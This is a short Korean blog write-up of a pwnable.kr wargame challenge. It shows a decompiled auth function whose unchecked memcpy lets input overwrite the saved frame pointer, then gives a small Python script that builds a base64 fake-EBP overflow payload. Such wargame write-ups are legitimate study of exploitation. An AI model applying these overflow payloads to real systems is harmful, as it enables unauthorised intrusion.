이 문제는 엄청난 낚시가 많았다...

엉뚱한 곳을 리버싱 하면서 취약점을 찾고 있었는데 알고보니 취약점은 매우 간단했다.


1
2
3
4
5
6
7
8
9
10
11
_BOOL4 __cdecl auth(int a1)
{
  char v2; // [sp+14h] [bp-14h]@1
  char *s2; // [sp+1Ch] [bp-Ch]@1
  int v4; // [sp+20h] [bp-8h]@1
 
  memcpy(&v4, &input, a1);
  s2 = (char *)calc_md5((int)&v2, 12);
  printf("hash : %s\n", s2);
  return strcmp("f87cd601aa7fedca99018a8be88eda34", s2) == 0;
}
cs


바로 이 auth 함수에 memcpy를 하면서 길이 검사를 안해서 fsp를 덮어쓸 수 있어 fake ebp 기법을 사용하여 익스플로잇 할 수 있었다.

간단한 문제였다.


1
2
3
4
5
import base64
 
exploit="AAAA"+"\x84\x92\x04\x08\x40\xeb\x11\x08"
print base64.encodestring(exploit)
 
cs


'워게임 > pwnable.kr' 카테고리의 다른 글

pwnable.kr dragon  (0) 2017.05.10

+ Recent posts